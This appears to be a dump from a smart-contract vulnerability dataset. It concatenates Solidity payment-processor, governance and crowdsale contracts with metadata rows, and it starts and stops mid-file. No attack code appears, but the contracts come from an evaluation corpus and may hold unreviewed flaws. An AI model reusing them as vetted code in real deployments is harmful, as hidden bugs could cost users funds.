MaxDiscountPermille = _maxDiscountPermille;
}
}
// File: contracts/MerchantDealsHistory.sol
contract MerchantDealsHistory is Contactable, Restricted {
string constant VERSION = "0.3";
/// Merchant identifier hash
bytes32 public merchantIdHash;
//Deal event
event DealCompleted(uint orderId,
address clientAddress,
uint32 clientReputation,
uint32 merchantReputation,
bool successful,
uint dealHash);
//Deal cancellation event
event DealCancelationReason(uint orderId,
address clientAddress,
uint32 clientReputation,
uint32 merchantReputation,
uint dealHash,
string cancelReason);
//Deal refund event
event DealRefundReason(uint orderId,
address clientAddress,
uint32 clientReputation,
uint32 merchantReputation,
uint dealHash,
string refundReason);
constructor(string _merchantId) public {
require(bytes(_merchantId).length > 0);
merchantIdHash = keccak256(abi.encodePacked(_merchantId));
}
function recordDeal(uint _orderId,
address _clientAddress,
uint32 _clientReputation,
uint32 _merchantReputation,
bool _isSuccess,
uint _dealHash)
external onlyMonetha
{
emit DealCompleted(_orderId,
_clientAddress,
_clientReputation,
_merchantReputation,
_isSuccess,
_dealHash);
}
function recordDealCancelReason(uint _orderId,
address _clientAddress,
uint32 _clientReputation,
uint32 _merchantReputation,
uint _dealHash,
string _cancelReason)
external onlyMonetha
{
emit DealCancelationReason(_orderId,
_clientAddress,
_clientReputation,
_merchantReputation,
_dealHash,
_cancelReason);
}
function recordDealRefundReason(uint _orderId,
address _clientAddress,
uint32 _clientReputation,
uint32 _merchantReputation,
uint _dealHash,
string _refundReason)
external onlyMonetha
{
emit DealRefundReason(_orderId,
_clientAddress,
_clientReputation,
_merchantReputation,
_dealHash,
_refundReason);
}
}
// File: monetha-utility-contracts/contracts/SafeDestructible.sol
contract SafeDestructible is Ownable {
function destroy() onlyOwner public {
require(address(this).balance == 0);
selfdestruct(owner);
}
}
// File: contracts/MerchantWallet.sol
contract MerchantWallet is Pausable, SafeDestructible, Contactable, Restricted {
string constant VERSION = "0.5";
/// Address of merchant's account, that can withdraw from wallet
address public merchantAccount;
/// Address of merchant's fund address.
address public merchantFundAddress;
/// Unique Merchant identifier hash
bytes32 public merchantIdHash;
/// profileMap stores general information about the merchant
mapping (string=>string) profileMap;
/// paymentSettingsMap stores payment and order settings for the merchant
mapping (string=>string) paymentSettingsMap;
/// compositeReputationMap stores composite reputation, that compraises from several metrics
mapping (string=>uint32) compositeReputationMap;
/// number of last digits in compositeReputation for fractional part
uint8 public constant REPUTATION_DECIMALS = 4;
modifier onlyMerchant() {
require(msg.sender == merchantAccount);
_;
}
modifier isEOA(address _fundAddress) {
uint256 _codeLength;
assembly {_codeLength := extcodesize(_fundAddress)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier onlyMerchantOrMonetha() {
require(msg.sender == merchantAccount || isMonethaAddress[msg.sender]);
_;
}
constructor(address _merchantAccount, string _merchantId, address _fundAddress) public isEOA(_fundAddress) {
require(_merchantAccount != 0x0);
require(bytes(_merchantId).length > 0);
merchantAccount = _merchantAccount;
merchantIdHash = keccak256(abi.encodePacked(_merchantId));
merchantFundAddress = _fundAddress;
}
function () external payable {
}
function profile(string key) external constant returns (string) {
return profileMap[key];
}
function paymentSettings(string key) external constant returns (string) {
return paymentSettingsMap[key];
}
function compositeReputation(string key) external constant returns (uint32) {
return compositeReputationMap[key];
}
function setProfile(string profileKey,
string profileValue,
string repKey,
uint32 repValue)
external onlyOwner
{
profileMap[profileKey] = profileValue;
if (bytes(repKey).length != 0) {
compositeReputationMap[repKey] = repValue;
}
}
function setPaymentSettings(string key, string value) external onlyOwner {
paymentSettingsMap[key] = value;
}
function setCompositeReputation(string key, uint32 value) external onlyMonetha {
compositeReputationMap[key] = value;
}
function doWithdrawal(address beneficiary, uint amount) private {
require(beneficiary != 0x0);
beneficiary.transfer(amount);
}
function withdrawTo(address beneficiary, uint amount) public onlyMerchant whenNotPaused {
doWithdrawal(beneficiary, amount);
}
function withdraw(uint amount) external onlyMerchant {
withdrawTo(msg.sender, amount);
}
function withdrawToExchange(address depositAccount, uint amount) external onlyMerchantOrMonetha whenNotPaused {
doWithdrawal(depositAccount, amount);
}
function withdrawAllToExchange(address depositAccount, uint min_amount) external onlyMerchantOrMonetha whenNotPaused {
require (address(this).balance >= min_amount);
doWithdrawal(depositAccount, address(this).balance);
}
function withdrawAllTokensToExchange(address _tokenAddress, address _depositAccount, uint _minAmount) external onlyMerchantOrMonetha whenNotPaused {
require(_tokenAddress != address(0));
uint balance = GenericERC20(_tokenAddress).balanceOf(address(this));
require(balance >= _minAmount);
GenericERC20(_tokenAddress).transfer(_depositAccount, balance);
}
function changeMerchantAccount(address newAccount) external onlyMerchant whenNotPaused {
merchantAccount = newAccount;
}
function changeFundAddress(address newFundAddress) external onlyMerchant isEOA(newFundAddress) {
merchantFundAddress = newFundAddress;
}
}
// File: contracts/PaymentProcessor.sol
contract PaymentProcessor is Pausable, Destructible, Contactable, Restricted {
using SafeMath for uint256;
string constant VERSION = "0.7";
uint public constant FEE_PERMILLE = 15;
uint public constant PAYBACK_PERMILLE = 2; // 0.2%
uint public constant PERMILLE_COEFFICIENT = 1000;
/// MonethaGateway contract for payment processing
MonethaGateway public monethaGateway;
/// MerchantDealsHistory contract of acceptor's merchant
MerchantDealsHistory public merchantHistory;
/// Address of MerchantWallet, where merchant reputation and funds are stored
MerchantWallet public merchantWallet;
/// Merchant identifier hash, that associates with the acceptor
bytes32 public merchantIdHash;
enum State {Null, Created, Paid, Finalized, Refunding, Refunded, Cancelled}
struct Order {
State state;
uint price;
uint fee;
address paymentAcceptor;
address originAddress;
address tokenAddress;
uint vouchersApply;
uint discount;
}
mapping(uint => Order) public orders;
modifier atState(uint _orderId, State _state) {
require(_state == orders[_orderId].state);
_;
}
modifier transition(uint _orderId, State _state) {
_;
orders[_orderId].state = _state;
}
constructor(string _merchantId,
MerchantDealsHistory _merchantHistory,
MonethaGateway _monethaGateway,
MerchantWallet _merchantWallet)
public
{
require(bytes(_merchantId).length > 0);
merchantIdHash = keccak256(abi.encodePacked(_merchantId));
setMonethaGateway(_monethaGateway);
setMerchantWallet(_merchantWallet);
setMerchantDealsHistory(_merchantHistory);
}
function addOrder(uint _orderId,
uint _price,
address _paymentAcceptor,
address _originAddress,
uint _fee,
address _tokenAddress,
uint _vouchersApply) external whenNotPaused atState(_orderId, State.Null)
{
require(_orderId > 0);
require(_price > 0);
require(_fee >= 0 && _fee <= FEE_PERMILLE.mul(_price).div(PERMILLE_COEFFICIENT));
// Monetha fee cannot be greater than 1.5% of price
require(_paymentAcceptor != address(0));
require(_originAddress != address(0));
require(orders[_orderId].price == 0 && orders[_orderId].fee == 0);
orders[_orderId] = Order({
state : State.Created,
price : _price,
fee : _fee,
paymentAcceptor : _paymentAcceptor,
originAddress : _originAddress,
tokenAddress : _tokenAddress,
vouchersApply : _vouchersApply,
discount: 0
});
}
function securePay(uint _orderId)
external payable whenNotPaused
atState(_orderId, State.Created) transition(_orderId, State.Paid)
{
Order storage order = orders[_orderId];
require(order.tokenAddress == address(0));
require(msg.sender == order.paymentAcceptor);
require(msg.value == order.price);
}
function secureTokenPay(uint _orderId)
external whenNotPaused
atState(_orderId, State.Created) transition(_orderId, State.Paid)
{
Order storage order = orders[_orderId];
require(msg.sender == order.paymentAcceptor);
require(order.tokenAddress != address(0));
GenericERC20(order.tokenAddress).transferFrom(msg.sender, address(this), order.price);
}
function cancelOrder(uint _orderId,
uint32 _clientReputation,
uint32 _merchantReputation,
uint _dealHash,
string _cancelReason)
external onlyMonetha whenNotPaused
atState(_orderId, State.Created) transition(_orderId, State.Cancelled)
{
require(bytes(_cancelReason).length > 0);
Order storage order = orders[_orderId];
updateDealConditions(_orderId,
_clientReputation,
_merchantReputation,
false,
_dealHash);
merchantHistory.recordDealCancelReason(_orderId,
order.originAddress,
_clientReputation,
_merchantReputation,
_dealHash,
_cancelReason);
}
function refundPayment(uint _orderId,
uint32 _clientReputation,
uint32 _merchantReputation,
uint _dealHash,
string _refundReason)
external onlyMonetha whenNotPaused
atState(_orderId, State.Paid) transition(_orderId, State.Refunding)
{
require(bytes(_refundReason).length > 0);
Order storage order = orders[_orderId];
updateDealConditions(_orderId,
_clientReputation,
_merchantReputation,
false,
_dealHash);
merchantHistory.recordDealRefundReason(_orderId,
order.originAddress,
_clientReputation,
_merchantReputation,
_dealHash,
_refundReason);
}
function withdrawRefund(uint _orderId)
external whenNotPaused
atState(_orderId, State.Refunding) transition(_orderId, State.Refunded)
{
Order storage order = orders[_orderId];
require(order.tokenAddress == address(0));
order.originAddress.transfer(order.price.sub(order.discount));
}
function withdrawTokenRefund(uint _orderId)
external whenNotPaused
atState(_orderId, State.Refunding) transition(_orderId, State.Refunded)
{
require(orders[_orderId].tokenAddress != address(0));
GenericERC20(orders[_orderId].tokenAddress).transfer(orders[_orderId].originAddress, orders[_orderId].price);
}
function processPayment(uint _orderId,
uint32 _clientReputation,
uint32 _merchantReputation,
uint _dealHash)
external onlyMonetha whenNotPaused
atState(_orderId, State.Paid) transition(_orderId, State.Finalized)
{
Order storage order = orders[_orderId];
address fundAddress = merchantWallet.merchantFundAddress();
if (order.tokenAddress != address(0)) {
if (fundAddress != address(0)) {
GenericERC20(order.tokenAddress).transfer(address(monethaGateway), order.price);
monethaGateway.acceptTokenPayment(fundAddress, order.fee, order.tokenAddress, order.price);
} else {
GenericERC20(order.tokenAddress).transfer(address(monethaGateway), order.price);
monethaGateway.acceptTokenPayment(merchantWallet, order.fee, order.tokenAddress, order.price);
}
} else {
uint discountWei = 0;
if (fundAddress != address(0)) {
discountWei = monethaGateway.acceptPayment.value(order.price)(fundAddress,
order.fee,
order.originAddress,
order.vouchersApply,
PAYBACK_PERMILLE);
} else {
discountWei = monethaGateway.acceptPayment.value(order.price)(merchantWallet,
order.fee,
order.originAddress,
order.vouchersApply,
PAYBACK_PERMILLE);
}
if (discountWei > 0) {
order.discount = discountWei;
}
}
updateDealConditions(_orderId,
_clientReputation,
_merchantReputation,
true,
_dealHash);
}
function setMonethaGateway(MonethaGateway _newGateway) public onlyOwner {
require(address(_newGateway) != 0x0);
monethaGateway = _newGateway;
}
function setMerchantWallet(MerchantWallet _newWallet) public onlyOwner {
require(address(_newWallet) != 0x0);
require(_newWallet.merchantIdHash() == merchantIdHash);
merchantWallet = _newWallet;
}
function setMerchantDealsHistory(MerchantDealsHistory _merchantHistory) public onlyOwner {
require(address(_merchantHistory) != 0x0);
require(_merchantHistory.merchantIdHash() == merchantIdHash);
merchantHistory = _merchantHistory;
}
function updateDealConditions(uint _orderId,
uint32 _clientReputation,
uint32 _merchantReputation,
bool _isSuccess,
uint _dealHash)
internal
{
merchantHistory.recordDeal(_orderId,
orders[_orderId].originAddress,
_clientReputation,
_merchantReputation,
_isSuccess,
_dealHash);
//update parties Reputation
merchantWallet.setCompositeReputation("total", _merchantReputation);
}
}
| 215,623 | 12,457 |
5cff33935f9e5196568a72d44e16f8a77696b4c5814cd428c17f5c6a83942b39
| 18,211 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/ae/aebcc55074bc006c60c023ecfcbb890339dc9557_VoteGovernorAlpha.sol
| 4,082 | 17,038 |
// Sources flattened with hardhat v2.6.0 https://hardhat.org
// File contracts/VoteGovernorAlpha.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
contract VoteGovernorAlpha {
// @notice The name of this contract
string private name;
uint256 private votingDelay;
uint256 private votingPeriod;
uint256 private proposalThreshold;
uint256 private votingThreshold;
function getName() public view returns (string memory) {
return name;
}
// @notice The number of votes required in order for a voter to become a proposer
function getProposalThreshold() public view returns (uint256) { return proposalThreshold; }
// @notice The number of votes required in order for a voter to vote on a proposal
function getVotingThreshold() public view returns (uint256) { return votingThreshold; }
// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions
// @notice The delay before voting on a proposal may take place, once proposed
function getVotingDelay() public view returns (uint256) { return votingDelay; }
// @notice The duration of voting on a proposal, in blocks
function getVotingPeriod() public view returns (uint256) { return votingPeriod; }
// @notice The address of the Pangolin Protocol Timelock
VoteTimelockInterface public timelock;
// @notice The address of the Pangolin governance token
VoteTokenInterface public voteToken;
// @notice The address of the Governor Guardian
address public guardian;
// @notice The total number of proposals
uint256 public proposalCount;
struct Proposal {
// @notice Unique id for looking up a proposal
uint256 id;
// @notice THe title of the proposal
string title;
// @notice Creator of the proposal
address proposer;
uint256 eta;
// @notice the ordered list of target addresses for calls to be made
address[] targets;
// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
// @notice The ordered list of function signatures to be called
string[] signatures;
// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
// @notice The timestamp at which voting begins: holders must delegate their votes prior to this time
uint256 startTime;
// @notice The timestamp at which voting ends: votes must be cast prior to this block
uint256 endTime;
uint256 startBlock;
// @notice Current number of votes in favor of this proposal
uint256 forVotes;
// @notice Current number of votes in opposition to this proposal
uint256 againstVotes;
// @notice Flag marking whether the proposal has been canceled
bool canceled;
// @notice Flag marking whether the proposal has been executed
bool executed;
// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
// @notice Ballot receipt record for a voter
struct Receipt {
// @notice Whether or not a vote has been cast
bool hasVoted;
// @notice Whether or not the voter supports the proposal
bool support;
// @notice The number of votes the voter had, which were cast
uint96 votes;
}
// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
// @notice The official record of all proposals ever proposed
mapping (uint256 => Proposal) public proposals;
// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
// @notice An event emitted when a new proposal is created
event ProposalCreated(address govAddress, uint256 proposalId, address proposer, uint256 startTime, uint256 endTime, string title, string description);
// @notice An event emitted when the first vote is cast in a proposal
event StartBlockSet(address govAddress, uint256 proposalId, uint256 startBlock);
// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address govAddress, address voter, uint256 proposalId, bool support, uint256 votes);
// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(address govAddress, uint256 proposalId);
// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(address govAddress, uint256 proposalId, uint256 eta);
// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(address govAddress, uint256 proposalId);
constructor(string memory _name, address _voteTimelock, address _voteToken, address _guardian, uint256 _votingDelay,
uint256 _votingPeriod, uint256 _proposalThreshold, uint256 _votingThreshold) {
name = _name;
timelock = VoteTimelockInterface(_voteTimelock);
voteToken = VoteTokenInterface(_voteToken);
guardian = _guardian;
votingDelay = _votingDelay;
votingPeriod = _votingPeriod;
proposalThreshold = _proposalThreshold;
votingThreshold = _votingThreshold;
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas,
string memory title, string memory description) public returns (uint) {
require(voteToken.getPriorVotes(msg.sender, block.number - 1) > proposalThreshold, "GovernorAlpha::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch");
//for phase one, we will allow non-transaction proposals.
//require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint256 latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal");
}
uint256 startTime = block.timestamp + votingDelay;
uint256 endTime = block.timestamp + votingPeriod + votingDelay;
proposalCount++;
//Proposal storage newProposal = proposals[proposalCount++];
Proposal storage newProposal = proposals[proposalCount];
newProposal.id = proposalCount;
newProposal.title = title;
newProposal.proposer = msg.sender;
newProposal.eta = 0;
newProposal.targets = targets;
newProposal.values = values;
newProposal.signatures = signatures;
newProposal.calldatas = calldatas;
newProposal.startTime = startTime;
newProposal.startBlock = 0;
newProposal.endTime = endTime;
newProposal.forVotes = 0;
newProposal.againstVotes = 0;
newProposal.canceled = false;
newProposal.executed = false;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(address(this), newProposal.id, msg.sender, startTime, endTime, title, description);
return newProposal.id;
}
function getProposalData(uint256 proposalId) public view
returns (uint256 proposalId_,
string memory proposalTitle_,
address proposer_,
uint256 startTime_,
uint256 endTime_,
uint256 startBlock_,
uint256 forVotes_,
uint256 againstVotes_,
bool canceled_,
bool executed_,
ProposalState state_) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::getProposalData: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
proposalId_ = proposal.id;
proposalTitle_ = proposal.title;
proposer_ = proposal.proposer;
startTime_ = proposal.startTime;
endTime_ = proposal.endTime;
startBlock_ = proposal.startBlock;
forVotes_ = proposal.forVotes;
againstVotes_ = proposal.againstVotes;
canceled_ = proposal.canceled;
executed_ = proposal.executed;
state_ = state(proposalId);
}
function queue(uint256 proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint256 eta = block.timestamp + timelock.delay();
for (uint256 i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(address(this), proposalId, eta);
}
function _queueOrRevert(address target, uint256 value, string memory signature, bytes memory data, uint256 eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint256 proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint256 i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction{value: proposal.values[i]}(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(address(this), proposalId);
}
function cancel(uint256 proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(voteToken.getPriorVotes(proposal.proposer, block.number - 1) < proposalThreshold, "GovernorAlpha::cancel: proposer above threshold");
proposal.canceled = true;
for (uint256 i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(address(this), proposalId);
}
function getActions(uint256 proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint256 proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint256 proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.timestamp <= proposal.startTime) {
return ProposalState.Pending;
} else if (block.timestamp <= proposal.endTime) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= proposal.eta + timelock.GRACE_PERIOD()) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint256 proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint256 proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint256 proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
if (proposal.startBlock == 0) {
proposal.startBlock = block.number - 1;
emit StartBlockSet(address(this), proposalId, block.number);
}
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted");
uint96 votes = voteToken.getPriorVotes(voter, proposal.startBlock);
require(votes >= votingThreshold, "Not enough tokens to vote");
if (support) {
proposal.forVotes = proposal.forVotes + votes;
} else {
proposal.againstVotes = proposal.againstVotes + votes;
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(address(this), voter, proposalId, support, votes);
}
function __acceptAdmin() public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
timelock.acceptAdmin();
}
function __abdicate() public {
require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian");
guardian = address(0);
}
function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint256 eta) public {
require(msg.sender == guardian, "GovernorAlpha::__queueSetTimelockPendingAdmin: sender must be gov guardian");
timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint256 eta) public {
require(msg.sender == guardian, "GovernorAlpha::__executeSetTimelockPendingAdmin: sender must be gov guardian");
timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta);
}
function getChainId() internal view returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
interface VoteTimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function queuedTransactions(bytes32 hash) external view returns (bool);
function queueTransaction(address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta) external returns (bytes32);
function cancelTransaction(address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta) external;
function executeTransaction(address target, uint256 value, string calldata signature, bytes calldata data, uint256 eta) external payable returns (bytes memory);
}
interface VoteTokenInterface {
function getPriorVotes(address account, uint256 blockNumber) external view returns (uint96);
}
| 103,909 | 12,458 |
4326be4a09181550f32252cfcde04e3c129dc26452c983be854f81ad881972fd
| 15,452 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x00416b9d728069edb0ceb04bc2b203fa7336d1f1.sol
| 3,244 | 14,814 |
pragma solidity ^0.4.13;
contract ReentrancyHandlingContract {
bool locked;
modifier noReentrancy() {
require(!locked);
locked = true;
_;
locked = false;
}
}
contract Owned {
address public owner;
address public newOwner;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != owner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = 0x0;
}
event OwnerUpdate(address _prevOwner, address _newOwner);
}
contract PriorityPassInterface {
function getAccountLimit(address _accountAddress) public constant returns (uint);
function getAccountActivity(address _accountAddress) public constant returns (bool);
}
contract ERC20TokenInterface {
function totalSupply() public constant returns (uint256 _totalSupply);
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract SeedCrowdsaleContract is ReentrancyHandlingContract, Owned {
struct ContributorData {
uint contributionAmount;
}
mapping(address => ContributorData) public contributorList;
uint public nextContributorIndex;
mapping(uint => address) public contributorIndexes;
state public crowdsaleState = state.pendingStart;
enum state { pendingStart, priorityPass, openedPriorityPass, crowdsaleEnded }
uint public presaleStartTime;
uint public presaleUnlimitedStartTime;
uint public crowdsaleEndedTime;
event PresaleStarted(uint blocktime);
event PresaleUnlimitedStarted(uint blocktime);
event CrowdsaleEnded(uint blocktime);
event ErrorSendingETH(address to, uint amount);
event MinCapReached(uint blocktime);
event MaxCapReached(uint blocktime);
event ContributionMade(address indexed contributor, uint amount);
PriorityPassInterface priorityPassContract = PriorityPassInterface(0x0);
uint public minCap;
uint public maxP1Cap;
uint public maxCap;
uint public ethRaised;
address public multisigAddress;
uint nextContributorToClaim;
mapping(address => bool) hasClaimedEthWhenFail;
//
// Unnamed function that runs when eth is sent to the contract
// @payable
//
function() noReentrancy payable public {
require(msg.value != 0); // Throw if value is 0
require(crowdsaleState != state.crowdsaleEnded); // Check if crowdsale has ended
bool stateChanged = checkCrowdsaleState(); // Check blocks time and calibrate crowdsale state
if (crowdsaleState == state.priorityPass) {
if (priorityPassContract.getAccountActivity(msg.sender)) { // Check if contributor is in priorityPass
processTransaction(msg.sender, msg.value); // Process transaction and issue tokens
} else {
refundTransaction(stateChanged); // Set state and return funds or throw
}
} else if (crowdsaleState == state.openedPriorityPass) {
if (priorityPassContract.getAccountActivity(msg.sender)) { // Check if contributor is in priorityPass
processTransaction(msg.sender, msg.value); // Process transaction and issue tokens
} else {
refundTransaction(stateChanged); // Set state and return funds or throw
}
} else {
refundTransaction(stateChanged); // Set state and return funds or throw
}
}
//
// @internal checks crowdsale state and emits events it
// @returns boolean
//
function checkCrowdsaleState() internal returns (bool) {
if (ethRaised == maxCap && crowdsaleState != state.crowdsaleEnded) { // Check if max cap is reached
crowdsaleState = state.crowdsaleEnded;
MaxCapReached(block.timestamp); // Close the crowdsale
CrowdsaleEnded(block.timestamp); // Raise event
return true;
}
if (block.timestamp > presaleStartTime && block.timestamp <= presaleUnlimitedStartTime) { // Check if we are in presale phase
if (crowdsaleState != state.priorityPass) { // Check if state needs to be changed
crowdsaleState = state.priorityPass; // Set new state
PresaleStarted(block.timestamp); // Raise event
return true;
}
} else if (block.timestamp > presaleUnlimitedStartTime && block.timestamp <= crowdsaleEndedTime) { // Check if we are in presale unlimited phase
if (crowdsaleState != state.openedPriorityPass) { // Check if state needs to be changed
crowdsaleState = state.openedPriorityPass; // Set new state
PresaleUnlimitedStarted(block.timestamp); // Raise event
return true;
}
} else {
if (crowdsaleState != state.crowdsaleEnded && block.timestamp > crowdsaleEndedTime) {// Check if crowdsale is over
crowdsaleState = state.crowdsaleEnded; // Set new state
CrowdsaleEnded(block.timestamp); // Raise event
return true;
}
}
return false;
}
//
// @internal determines if return eth or throw according to changing state
// @param _stateChanged boolean message about state change
//
function refundTransaction(bool _stateChanged) internal {
if (_stateChanged) {
msg.sender.transfer(msg.value);
} else {
revert();
}
}
//
// Getter to calculate how much user can contribute
// @param _contributor address of the contributor
//
function calculateMaxContribution(address _contributor) constant public returns (uint maxContribution) {
uint maxContrib;
if (crowdsaleState == state.priorityPass) { // Check if we are in priority pass
maxContrib = priorityPassContract.getAccountLimit(_contributor) - contributorList[_contributor].contributionAmount;
if (maxContrib > (maxP1Cap - ethRaised)) { // Check if max contribution is more that max cap
maxContrib = maxP1Cap - ethRaised; // Alter max cap
}
} else {
maxContrib = maxCap - ethRaised; // Alter max cap
}
return maxContrib;
}
//
// Return if there is overflow of contributed eth
// @internal processes transactions
// @param _contributor address of an contributor
// @param _amount contributed amount
//
function processTransaction(address _contributor, uint _amount) internal {
uint maxContribution = calculateMaxContribution(_contributor); // Calculate max users contribution
uint contributionAmount = _amount;
uint returnAmount = 0;
if (maxContribution < _amount) { // Check if max contribution is lower than _amount sent
contributionAmount = maxContribution; // Set that user contributes his maximum alowed contribution
returnAmount = _amount - maxContribution; // Calculate how much he must get back
}
if (ethRaised + contributionAmount >= minCap && minCap > ethRaised) {
MinCapReached(block.timestamp);
}
if (contributorList[_contributor].contributionAmount == 0) { // Check if contributor has already contributed
contributorList[_contributor].contributionAmount = contributionAmount; // Set their contribution
contributorIndexes[nextContributorIndex] = _contributor; // Set contributors index
nextContributorIndex++;
} else {
contributorList[_contributor].contributionAmount += contributionAmount; // Add contribution amount to existing contributor
}
ethRaised += contributionAmount; // Add to eth raised
ContributionMade(msg.sender, contributionAmount); // Raise event about contribution
if (returnAmount != 0) {
_contributor.transfer(returnAmount); // Return overflow of ether
}
}
//
// Recovers ERC20 tokens other than eth that are send to this address
// @owner refunds the erc20 tokens
// @param _tokenAddress address of the erc20 token
// @param _to address to where tokens should be send to
// @param _amount amount of tokens to refund
//
function salvageTokensFromContract(address _tokenAddress, address _to, uint _amount) onlyOwner public {
ERC20TokenInterface(_tokenAddress).transfer(_to, _amount);
}
//
// withdrawEth when minimum cap is reached
// @owner sets contributions to withdraw
//
function withdrawEth() onlyOwner public {
require(this.balance != 0);
require(ethRaised >= minCap);
